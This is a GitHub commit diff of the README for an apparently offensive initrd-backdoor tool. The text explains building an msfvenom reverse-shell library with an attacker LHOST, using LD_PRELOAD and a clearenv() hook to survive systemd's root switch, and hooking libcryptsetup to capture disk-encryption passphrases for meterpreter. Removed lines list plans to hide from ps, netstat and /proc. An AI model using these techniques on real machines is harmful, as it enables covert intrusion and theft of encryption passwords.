You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+11-22Lines changed: 11 additions & 22 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -25,7 +25,7 @@
25
25
## Details
26
26
### Compiling
27
27
See the `Makefile` for more information/configuration, `LHOST` is required in the
28
-
environment to build the `.so` as `msfvenom` is piped in at compile time.
28
+
environment to build the `.so` as `msfvenom` is piped in at compile time. It is also necessary to have `libcrypsetup-dev` (or equivalent) installed on the build machine.
29
29
30
30
Generic Instructions (builds iso image in cwd):
31
31
`LHOST=192.168.56.101 make rev.so iso`
@@ -87,9 +87,6 @@ There is no limit to the number of replacements you can run.
87
87
#### Notes
88
88
*`\\1` will expand to the full contents of the match (`*PRE`) when used inside the replace (`*POST`).
89
89
* Be careful with: `| $`
90
-
91
-
#### Debugging
92
-
If you wish to debug your changes at runtime, you can insert `os.system('sh')` before the `initrd` is repacked to both view and modify changes.
93
90
94
91
95
92
### Nitty Gritty
@@ -163,7 +160,7 @@ The `usr/lib/systemd/system/initrd-switch-root.service` contains the script whic
163
160
164
161
SELinux is present on CentOS, restricting the use of `LD_PRELOAD`. One working path is `/lib`. This was located by reading the file at `/etc/selinux/targeted/modules/active/file_contexts` for a `system_u:object_r:lib_t` labelled location.
165
162
166
-
##### Progress
163
+
##### Dropping the shell
167
164
Because systemd calls `clearenv()` before switching root, our `LD_PRELOAD` variable is wiped out. To bypass this, we can hook `clearenv()`, and always just replace the environment with only `LD_PRELOAD`. However, to achieve this, we need to be PID 1 inside the initrd. This is trickier as it is not possible to `LD_PRELOAD` into this process. To get around this, we have replaced `/init` with a bash shell script as follows:
168
165
169
166
```
@@ -176,22 +173,14 @@ This works becuase `/init` is just a symlink to `/usr/lib/systemd/systemd`. `exe
176
173
177
174
Once this is impemented, and `clearenv()` is neutralised, it is possible to set `LD_PRELOAD` for the real pid 1 inside the new root.
178
175
176
+
##### Password Stealing
177
+
systemd handles passwords for encrypted filesystems completely differently to Debian based init scripts. The passwords are passed around using Unix sockets which allow you to send credentials. To get around this complexity, the easiest method We found to access the password was to hook the `crypt_activate_by_passphrase` function from `libcryptsetup`. The relevant parts of the function declaration are as follows:
178
+
179
+
```
180
+
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
181
+
```
182
+
183
+
To access the password we simply hook this function, save `passphrase` to a file and call the original function obtained by `dlsym(RTLD_NEXT, ...)`. As above, we appended our password to the `.so` so it is able to parse itself and make the password available to meterpreter.
184
+
179
185
##### Artefacts
180
186
As above, the .so shows up in `/proc/1/maps`, `/proc/1/environ` and `ps` output.
181
-
182
-
## Todo
183
-
* CentOS/Fedora self delete
184
-
* Add in CentOS password retrieval (Possibly requiring hooking)
185
-
* Hide from:
186
-
* /proc/*/maps
187
-
* /proc/*/environ
188
-
* ps (python)
189
-
* netstat
190
-
* Alternative .so: Backdoor a standard system .so (libc etc), add a function,
191
-
export it and set -Wl,-init,ourfunction in the ELF headers.
192
-
* Pro: stealthier, don't need to LD_PRELOAD/hide ourselves if we're included by
193
-
default.
194
-
* Con: Reverse Engineering possible. Tricky, we only have what we bring with us
195
-
* Rubber Ducky for when we can't boot from external media
196
-
* Kernel patch to verify (sha?) checksum of initrd. Would require UEFI
197
-
secureboot laptop for testing purposes (fedora can do secureboot)
0 commit comments